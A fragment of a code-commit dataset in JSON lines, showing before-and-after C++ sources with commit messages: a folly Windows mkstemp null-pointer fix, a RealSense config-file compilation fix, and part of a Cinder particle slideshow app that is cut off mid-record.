!= 0);\n  return tn;\n}\n\nint mkstemp(char* tn) {\n  char* ptr = nullptr;\n  auto len = strlen(ptr);\n  int ret = 0;\n  do {\n    strcpy(tn + len - 6, \"XXXXXX\");\n    ptr = mktemp(tn);\n    if (ptr == nullptr || *ptr == '\\0') {\n      return -1;\n    }\n    ret = open(ptr, O_RDWR | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR);\n    if (ret == -1 && errno != EEXIST) {\n      return -1;\n    }\n  } while (ret == -1);\n  return ret;\n}\n\nchar* realpath(const char* path, char* resolved_path) {\n  \/\/ I sure hope the caller gave us _MAX_PATH space in the buffer....\n  return _fullpath(resolved_path, path, _MAX_PATH);\n}\n}\n#endif\n<commit_msg>Don't call strlen(nullptr) in mkdtemp and mkstemp<commit_after>\/*\n * Copyright 2016 Facebook, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <folly\/portability\/Stdlib.h>\n\n#ifdef _WIN32\n#include <cstring>\n#include <errno.h>\n\n#include <folly\/portability\/Fcntl.h>\n#include <folly\/portability\/SysStat.h>\n#include <folly\/portability\/Windows.h>\n\nextern \"C\" {\nchar* mktemp(char* tn) { return _mktemp(tn); }\n\n\/\/ While yes, this is for a directory, due to this being windows,\n\/\/ a file and directory can't have the same name, resulting in this\n\/\/ still working just fine.\nchar* mkdtemp(char* tn) {\n  char* ptr = nullptr;\n  auto len = strlen(tn);\n  int ret = 0;\n  do {\n    strcpy(tn + len - 6, \"XXXXXX\");\n    ptr = mktemp(tn);\n    if (ptr == nullptr || *ptr == '\\0') {\n      return nullptr;\n    }\n    ret = mkdir(ptr, 0700);\n    if (ret != 0 && errno != EEXIST) {\n      return nullptr;\n    }\n  } while (ret != 0);\n  return tn;\n}\n\nint mkstemp(char* tn) {\n  char* ptr = nullptr;\n  auto len = strlen(tn);\n  int ret = 0;\n  do {\n    strcpy(tn + len - 6, \"XXXXXX\");\n    ptr = mktemp(tn);\n    if (ptr == nullptr || *ptr == '\\0') {\n      return -1;\n    }\n    ret = open(ptr, O_RDWR | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR);\n    if (ret == -1 && errno != EEXIST) {\n      return -1;\n    }\n  } while (ret == -1);\n  return ret;\n}\n\nchar* realpath(const char* path, char* resolved_path) {\n  \/\/ I sure hope the caller gave us _MAX_PATH space in the buffer....\n  return _fullpath(resolved_path, path, _MAX_PATH);\n}\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"rs-config.h\"\n\n#include \"..\/third-party\/json.hpp\"\n\n#include \"model-views.h\"\n\n#include <fstream>\n\n#include \"os.h\"\n\nusing json = nlohmann::json;\n\nusing namespace rs2;\n\nvoid config_file::set(const char* key, const char* value)\n{\n    _values[key] = value;\n    save();\n}\n\nvoid config_file::set_default(const char* key, const char* calculate)\n{\n    _defaults[key] = calculate;\n}\n\nvoid config_file::reset()\n{\n    _values.clear();\n    save();\n}\n\nstd::string config_file::get(const char* key, const char* def) const\n{\n    auto it = _values.find(key);\n    if (it != _values.end())\n    {\n        return it->second;\n    }\n    return get_default(key, def);\n}\n\nbool config_file::contains(const char* key) const\n{\n    auto it = _values.find(key);\n    return it != _values.end();\n}\n\nstd::string config_file::get_default(const char* key, const char* def) const\n{\n    auto it = _defaults.find(key);\n    if (it == _defaults.end()) return def;\n    return it->second;\n}\n\nconfig_value config_file::get(const char* key) const\n{\n    if (!contains(key)) return config_value(get_default(key, \"\"));\n    return config_value(get(key, \"\"));\n}\n\nvoid config_file::save(const char* filename)\n{\n    json j;\n    for(auto kvp : _values)\n    {\n        j[kvp.first] = kvp.second; \n    }\n    std::string s = j.dump(2);\n    try\n    {\n        std::ofstream out(filename);\n        out << s;\n        out.close();\n    }\n    catch (...)\n    {\n    }\n}\n\nconfig_file& config_file::instance()\n{\n    static config_file inst(get_folder_path(rs2::special_folder::app_data) \n                            + std::string(\"realsense-config.json\"));\n    return inst;\n}\n\nconfig_file::config_file(std::string filename)\n    : _filename(std::move(filename)), _values()\n{\n    try\n    {\n\n        std::ifstream t(_filename);\n        if (!t.good()) return;\n        std::string str((std::istreambuf_iterator<char>(t)),\n                 std::istreambuf_iterator<char>());\n        auto j = json::parse(str);\n        for (json::iterator it = j.begin(); it != j.end(); ++it) \n        {\n            _values[it.key()] = it.value();\n        }\n    }\n    catch(...)\n    {\n\n    }\n}\n\nvoid config_file::save()\n{\n    save(_filename.c_str());\n}\n\nconfig_file::config_file()\n    : _filename(\"\"), _values()\n{\n}\n\nconfig_file& config_file::operator=(const config_file& other)\n{\n    if (this != &other)\n    {\n        _values = other._values;\n        _defaults = other._defaults;\n        save();\n    }\n    return *this;\n}\n\nbool config_file::operator==(const config_file& other) const\n{\n    return _values == other._values;\n}<commit_msg>Visual Studio 2019 compilation fix<commit_after>#include \"rs-config.h\"\n\n#include \"..\/third-party\/json.hpp\"\n\n#include \"model-views.h\"\n\n#include <fstream>\n\n#include \"os.h\"\n\nusing json = nlohmann::json;\n\nusing namespace rs2;\n\nvoid config_file::set(const char* key, const char* value)\n{\n    _values[key] = value;\n    save();\n}\n\nvoid config_file::set_default(const char* key, const char* calculate)\n{\n    _defaults[key] = calculate;\n}\n\nvoid config_file::reset()\n{\n    _values.clear();\n    save();\n}\n\nstd::string config_file::get(const char* key, const char* def) const\n{\n    auto it = _values.find(key);\n    if (it != _values.end())\n    {\n        return it->second;\n    }\n    return get_default(key, def);\n}\n\nbool config_file::contains(const char* key) const\n{\n    auto it = _values.find(key);\n    return it != _values.end();\n}\n\nstd::string config_file::get_default(const char* key, const char* def) const\n{\n    auto it = _defaults.find(key);\n    if (it == _defaults.end()) return def;\n    return it->second;\n}\n\nconfig_value config_file::get(const char* key) const\n{\n    if (!contains(key)) return config_value(get_default(key, \"\"));\n    return config_value(get(key, \"\"));\n}\n\nvoid config_file::save(const char* filename)\n{\n    json j;\n    for(auto kvp : _values)\n    {\n        j[kvp.first] = kvp.second; \n    }\n    std::string s = j.dump(2);\n    try\n    {\n        std::ofstream out(filename);\n        out << s;\n        out.close();\n    }\n    catch (...)\n    {\n    }\n}\n\nconfig_file& config_file::instance()\n{\n    static config_file inst(get_folder_path(rs2::special_folder::app_data) \n                            + std::string(\"realsense-config.json\"));\n    return inst;\n}\n\nconfig_file::config_file(std::string filename)\n    : _filename(std::move(filename)), _values()\n{\n    try\n    {\n\n        std::ifstream t(_filename);\n        if (!t.good()) return;\n        std::string str((std::istreambuf_iterator<char>(t)),\n                 std::istreambuf_iterator<char>());\n        auto j = json::parse(str);\n        for (json::iterator it = j.begin(); it != j.end(); ++it) \n        {\n            _values[it.key()] = it.value().get<std::string>();\n        }\n    }\n    catch(...)\n    {\n\n    }\n}\n\nvoid config_file::save()\n{\n    save(_filename.c_str());\n}\n\nconfig_file::config_file()\n    : _filename(\"\"), _values()\n{\n}\n\nconfig_file& config_file::operator=(const config_file& other)\n{\n    if (this != &other)\n    {\n        _values = other._values;\n        _defaults = other._defaults;\n        save();\n    }\n    return *this;\n}\n\nbool config_file::operator==(const config_file& other) const\n{\n    return _values == other._values;\n}<|endoftext|>"}
{"text":"<commit_before>#include \"cinder\/app\/AppNative.h\"\n#include \"cinder\/gl\/gl.h\"\n#include \"cinder\/ImageIo.h\"\n#include \"cinder\/gl\/Texture.h\"\n#include \"cinder\/Surface.h\"\n#include \"cinder\/gl\/Fbo.h\"\n#include \"cinder\/Filesystem.h\"\n#include \"cinder\/app\/FileDropEvent.h\"\n#include \"cinder\/ip\/Resize.h\"\n#include \"ParticleEmitter.h\"\n#include \"SimpleGUI.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nusing namespace ci;\nusing namespace ci::app;\nusing namespace std;\nusing namespace mowa::sgui;\n\n#define SGUI_CONFIG_FILE_EXT \"cfg\"\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass CinderApp : public AppNative \n{\npublic:\n\tvoid setup();\n\t\n  \/\/ mouse events\n  void mouseDown( ci::app::MouseEvent     _event );\t\n\tvoid mouseUp(   ci::app::MouseEvent     _event );\n  void mouseDrag( ci::app::MouseEvent     _event );\n\tvoid fileDrop ( ci::app::FileDropEvent  _event );\n  void keyDown(   ci::app::KeyEvent       _event );\n\n  \/\/ gui buttons\n  bool openImageCallBack( ci::app::MouseEvent _event );\n  bool nextImageCallBack( ci::app::MouseEvent _event );\n  \n\t\/\/ misc routines\n  void updateOutputArea( Vec2i& _imageSize );\n  void setImage( fs::path& _path, double _currentTime = 0.0 );\n\n  \/\/ main routines\n  void update();\n\tvoid draw();\n  void prepareSettings( Settings *settings );\n\n\n  \/\/ properties\n  Surface                     m_surface;\n  gl::Texture                 m_texture;\n  Area                        m_outputArea;\n  ParticleEmitter             m_particleEmitter;\n  gl::Fbo                     m_frameBufferObject;\n  std::vector< ci::fs::path > m_files;\n  double                      m_cycleImageEvery;\n  int                         m_particleCount;\n  int                         m_particleGroups;\n  \n  SimpleGUI*                  m_gui;\n  ButtonControl*              m_openImageButton;\n  ButtonControl*              m_nextImageButton;\n  LabelControl*               m_currentImageLabel;\n\tPanelControl*               m_mainPanel;\n\tPanelControl*               m_helpPanel;\n\nprivate:\n  double                      m_lastTime;\n  double                      m_currentTime;\n  double                      m_cycleCounter;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::setup()\n{\n  \/\/ config vars\n  m_cycleImageEvery = 0.0;\n  m_particleCount   = 0;\n  m_particleGroups  = 0;\n\n  \/\/ buffer for trails\n  m_frameBufferObject = gl::Fbo( 800, 600, true );\n  m_frameBufferObject.bindFramebuffer();\n  gl::enableAlphaBlending();\n  gl::clear( Color( 0.0f, 0.0f, 0.0f ) ); \n  m_frameBufferObject.unbindFramebuffer();\n\n  \/\/ emitter\n  m_particleEmitter.m_maxLifeTime        = 0.0;\n  m_particleEmitter.m_minLifeTime        = 10.0;\n  m_particleEmitter.m_fadeInTime         = 0.5f;\n  m_particleEmitter.m_fadeOutTime        = 3.0f;\n  m_particleEmitter.m_referenceSurface   = &m_surface;\n  m_particleEmitter.m_screenTexture      = &m_frameBufferObject.getTexture();\n  m_particleEmitter.m_particlesPerSecond = 0;\n\n  \/\/ GUI\n  m_gui             = new SimpleGUI( this );\n\tm_gui->lightColor = ColorA( 1, 1, 0, 1 );\t\n  m_gui->textFont   = Font( \"Consolas\", 12 );\n  m_gui->addColumn();\n  m_mainPanel = m_gui->addPanel();\n\n  \/\/ general settings\n  m_gui->addLabel( \"General Settings\" );\n\tm_gui->addParam( \"Pic. Cycle Time\", &m_cycleImageEvery,                       3.0f, 120.0f, 15.0f );\n  m_gui->addParam( \"Particle Size\",   &m_particleEmitter.m_particleSizeRatio,   0.5f,   3.0f,  1.0f );\n  m_gui->addParam( \"Particle Speed\",  &m_particleEmitter.m_particleSpeedRatio,  0.2f,   3.0f,  1.0f );\n  m_gui->addParam( \"Dampness\",        &m_particleEmitter.m_dampness,           0.01f,  0.99f,  0.9f );\n  m_gui->addParam( \"Color Guidance\",  &m_particleEmitter.m_colorRedirection,    0.0f,  20.0f,  5.0f );\n\n#ifdef _DEBUG\n  m_gui->addParam( \"#Particles\", &m_particleCount,   50,   500,    150   );\n  m_gui->addParam( \"#Groups\",    &m_particleGroups,  1,    10,     2   );\n#else\n  m_gui->addParam( \"#Particles\", &m_particleCount,   50,   500,    300   );\n  m_gui->addParam( \"#Groups\",    &m_particleGroups,  1,    10,     5   );\n#endif\n  \n\tm_gui->addSeparator();\n  m_gui->addLabel( \"Flocking Settings\" );\n    \n  m_gui->addParam( \"Repel Str.\",      &m_particleEmitter.m_repelStrength,       0.000f,     0.5f,   0.04f );\n  m_gui->addParam( \"Align Str.\",      &m_particleEmitter.m_alignStrength,       0.000f,     0.5f,   0.04f );\n  m_gui->addParam( \"Att. Str.\",       &m_particleEmitter.m_attractStrength,     0.000f,     0.5f,   0.02f );\n  m_gui->addParam( \"Grp. Repel Str.\", &m_particleEmitter.m_groupRepelStrength,  0.000f,     0.5f,   0.01f );\n  m_gui->addParam( \"Area Size\",       &m_particleEmitter.m_zoneRadiusSqrd,      625.0f, 10000.0f, 5625.0f ),\n  m_gui->addParam( \"Repel Area\",      &m_particleEmitter.m_lowThresh,             0.0f,     1.0f,  0.125f );\n  m_gui->addParam( \"Align Area\",      &m_particleEmitter.m_highThresh,            0.0f,     1.0f,   0.65f );\n\n  m_gui->addSeparator();\n  \n  m_openImageButton = m_gui->addButton( \"Open Image\" );\n  m_openImageButton->registerClick( this, &CinderApp::openImageCallBack );\n  \n  m_nextImageButton = m_gui->addButton( \"Next Image\" );\n  m_nextImageButton->registerClick( this, &CinderApp::nextImageCallBack );\n\n  \/\/ some info\n  m_gui->addSeparator();\n  m_gui->addLabel( \"Current Image:\" );\n  m_currentImageLabel = m_gui->addLabel( \"\" );\n\n  \/\/ deserved credits\n  m_gui->addSeparator();\n  m_gui->addLabel( \"y3i12: Yuri Ivatchkovitch\" );\n  m_gui->addLabel( \"http:\/\/y3i12.tumblr.com\/\"  );\n  \n  \/\/ Help!\n  m_gui->addColumn();\n  m_helpPanel = m_gui->addPanel();\n  \n  m_gui->addLabel( \"Quick Help:\"            );\n  m_gui->addLabel( \"F1  to show\/hide help\"  );\n\tm_gui->addLabel( \"'h' to show\/hide GUI\"   );\n  m_gui->addLabel( \"'s' to save config\"     );\n  m_gui->addLabel( \"'l' to load config\"     );\n  m_gui->addLabel( \"'o' to open image\"      );\n  m_gui->addLabel( \"SPACE to skip image\"    );\n  m_gui->addLabel( \"ESC to quit\"            );\n  \n  m_gui->addSeparator();\n  m_gui->addSeparator();\n\n  m_gui->addLabel( \"Drag multiple files\"    );\n  m_gui->addLabel( \"to slideshow!\"          );\n  \n  \/\/ load images passed via args\n  if ( getArgs().size() > 1 )\n  {\n    const std::vector< std::string >& args = getArgs();\n\n    for ( size_t i = 1; i < args.size(); ++i )\n    {\n      m_files.push_back( fs::canonical( fs::path( args[ i ] ) ) );\n    }\n\n    setImage( m_files.front(), m_currentTime );\n    if ( m_files.size() > 1 )\n    {\n      m_cycleCounter = 0;\n    }\n  }\n  else\n  {\n    m_cycleCounter  = -1.0;\n  }\n\n  \/\/ mark the time to test counters  \n  m_lastTime = ci::app::getElapsedSeconds();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::mouseDown( ci::app::MouseEvent _event )\n{\n  m_gui->onMouseDown( _event );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::mouseUp(  ci::app::MouseEvent _event )\n{\n    m_gui->onMouseUp( _event );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::mouseDrag( ci::app::MouseEvent _event )\n{\n  m_gui->onMouseDrag( _event );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::fileDrop (ci::app::FileDropEvent e)\n{\n  m_files = e.getFiles();\n  \n  setImage( m_files.front(), m_currentTime );\n  \n  if ( m_files.size() > 1 )\n  {\n    m_cycleCounter = 0;\n  }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::keyDown( ci::app::KeyEvent _event )\n{\n  switch( _event.getChar() ) \n  {\t\t\t\t\n\t\tcase 'd': \n      {\n        m_gui->dump();\n      }\n      break; \/\/prints values of all the controls to the console\t\t\t\n\n\t\tcase 'l': \n      {\n        std::vector< std::string > theExtensions;\n        theExtensions.push_back( SGUI_CONFIG_FILE_EXT );\n    \n        fs::path aPath = getOpenFilePath( \"\", theExtensions );  \n        if ( !aPath.empty() && fs::is_regular_file( aPath ) )\n        {\n          m_gui->load( aPath.string() );\n        } \n      }\n      break;\n\n\t\tcase 's': \n      {\n        std::vector< std::string > theExtensions;\n        theExtensions.push_back( SGUI_CONFIG_FILE_EXT );\n    \n        fs::path aPath = getSaveFilePath( \"\", theExtensions );  \n        if ( !aPath.empty() )\n        {\n          if ( aPath.extension() != SGUI_CONFIG_FILE_EXT )\n          {\n            aPath.replace_extension( SGUI_CONFIG_FILE_EXT );\n          }\n\n          m_gui->save( aPath.string() );\n        } \n      }\n      break;\n\n    case 'h': \n      {\n        m_mainPanel->enabled = !m_mainPanel->enabled;\n      }\n\n    case 'o':\n      {\n        openImageCallBack( ci::app::MouseEvent() );\n      }\n      break;\n\t}\n\n\tswitch(_event.getCode()) \n  {\n    case KeyEvent::KEY_ESCAPE: \n      {\n        quit(); \n      }\n      break;\n\n    case KeyEvent::KEY_F1:     \n      {\n        m_helpPanel->enabled = !m_helpPanel->enabled; \n      }\n      break;\n\n    case KeyEvent::KEY_SPACE:  \n      {\n        nextImageCallBack( ci::app::MouseEvent() );\n      }\n      break;\n\t}\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool CinderApp::openImageCallBack( ci::app::MouseEvent _event )\n{\n  std::vector< std::string > theExtensions;\n  theExtensions.push_back( \"jpg\" );\n    \n  m_cycleCounter  = -1.0;\n  m_files.clear();\n\n  fs::path aPath = getOpenFilePath( \"\", theExtensions );  \n  if ( !aPath.empty() && fs::is_regular_file( aPath ) )\n  {\n    setImage( aPath, m_currentTime );\n  }\n  return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool CinderApp::nextImageCallBack( ci::app::MouseEvent _event )\n{\n  m_cycleCounter = m_cycleImageEvery;\n  return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::updateOutputArea( Vec2i& _imageSize )\n{\n    m_outputArea.x1 = m_outputArea.x2 = static_cast< int >( getWindowCenter().x );\n    m_outputArea.y1 = m_outputArea.y2 = static_cast< int >( getWindowCenter().y );\n    \n    m_outputArea.x1 -= _imageSize.x \/ 2;\n    m_outputArea.x2 += _imageSize.x \/ 2;\n    m_outputArea.y1 -= _imageSize.y \/ 2;\n    m_outputArea.y2 += _imageSize.y \/ 2;\n\n    m_particleEmitter.m_position = Vec2f( static_cast< float >( m_outputArea.x1 ), static_cast< float >( m_outputArea.y1 ) );\n}\n\nvoid CinderApp::setImage( fs::path& _path, double _currentTime )\n{\n  \/\/ load the image, resize and set the texture\n  ci::Surface imageLoaded = loadImage( _path );\n  Vec2i       aSize       = imageLoaded.getSize();\n  float       theFactor   = min( static_cast< float >( getWindowSize().x ) \/ aSize.x, static_cast< float >( getWindowSize().y ) \/ aSize.y );\n\n  m_surface = ci::Surface( static_cast< int >( aSize.x * theFactor ), static_cast< int >( aSize.y * theFactor ), false );\n  ci::ip::resize( imageLoaded, imageLoaded.getBounds(), &m_surface, m_surface.getBounds() );\n  m_texture = m_surface;\n  \n  \/\/ update  the image name\n  m_currentImageLabel->setText( _path.filename().string() );\n\n  \/\/ update the output area\n  updateOutputArea( m_surface.getSize() );\n\n  \/\/ kill old particles and add new ones\n  m_particleEmitter.killAll( _currentTime );\n\n  for ( int i = 0; i < m_particleGroups; ++i )\n  {\n    m_particleEmitter.addParticles( m_particleCount, i );\n  }\n\n  \/\/ resets the cycle counter;\n  m_cycleCounter = -1.0;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::update()\n{\n  m_currentTime = ci::app::getElapsedSeconds();\n  double delta  = m_currentTime - m_lastTime;\n\n  if ( m_cycleCounter != -1.0 )\n  {\n    m_cycleCounter += delta;\n\n    if ( m_cycleCounter >= m_cycleImageEvery && m_files.size() > 1 )\n    {\n      m_cycleCounter -= m_cycleImageEvery;\n\n      ci::fs::path aPath = m_files.front();\n      m_files.erase( m_files.begin() );\n      m_files.push_back( aPath );\n\n      setImage( aPath, m_currentTime );\n    }\n  }\n\n  m_particleEmitter.update( m_currentTime, delta );\n\n  m_lastTime = m_currentTime;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::draw()\n{\n\t\/\/ clear out the window with black and set gl confs\n\tgl::clear( Color( 0.0f, 0.0f, 0.0f ) );\n  gl::disableDepthRead();    \n  gl::pushMatrices();\n  gl::translate( Vec3f( 0.0f, 0.0f, 0.0f ) );\n\n  \/\/ writes backed up frame buffer to the screen\n  m_frameBufferObject.blitToScreen( getWindowBounds(), getWindowBounds() );\n  \n  \/\/ darkens the BG\n  gl::enableAlphaBlending();\n  gl::color( 0.0f, 0.0f, 0.0f, 0.01f ); \n  gl::drawSolidRect( getWindowBounds() );\n\n  \/\/ do the drawing =D\n  m_particleEmitter.draw();\n    \n  \/\/ save what happened to the framebuffer\n  m_frameBufferObject.blitFromScreen( getWindowBounds(), getWindowBounds() );\n   \n  \/\/ reset gl confs\n  gl::enableDepthRead();    \n  gl::disableAlphaBlending();\n  gl::popMatrices();\t\n\n  \/\/ draw the UI\n  m_gui->draw();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::prepareSettings( Settings *settings )\n{\n  settings->setWindowSize( 800, 600 );\n  settings->setFrameRate( 60.0f );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nCINDER_APP_NATIVE( CinderApp, RendererGl )\n  \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n<commit_msg>Fix on the cycle counter<commit_after>#include \"cinder\/app\/AppNative.h\"\n#include \"cinder\/gl\/gl.h\"\n#include \"cinder\/ImageIo.h\"\n#include \"cinder\/gl\/Texture.h\"\n#include \"cinder\/Surface.h\"\n#include \"cinder\/gl\/Fbo.h\"\n#include \"cinder\/Filesystem.h\"\n#include \"cinder\/app\/FileDropEvent.h\"\n#include \"cinder\/ip\/Resize.h\"\n#include \"ParticleEmitter.h\"\n#include \"SimpleGUI.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nusing namespace ci;\nusing namespace ci::app;\nusing namespace std;\nusing namespace mowa::sgui;\n\n#define SGUI_CONFIG_FILE_EXT \"cfg\"\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass CinderApp : public AppNative \n{\npublic:\n\tvoid setup();\n\t\n  \/\/ mouse events\n  void mouseDown( ci::app::MouseEvent     _event );\t\n\tvoid mouseUp(   ci::app::MouseEvent     _event );\n  void mouseDrag( ci::app::MouseEvent     _event );\n\tvoid fileDrop ( ci::app::FileDropEvent  _event );\n  void keyDown(   ci::app::KeyEvent       _event );\n\n  \/\/ gui buttons\n  bool openImageCallBack( ci::app::MouseEvent _event );\n  bool nextImageCallBack( ci::app::MouseEvent _event );\n  \n\t\/\/ misc routines\n  void updateOutputArea( Vec2i& _imageSize );\n  void setImage( fs::path& _path, double _currentTime = 0.0 );\n\n  \/\/ main routines\n  void update();\n\tvoid draw();\n  void prepareSettings( Settings *settings );\n\n\n  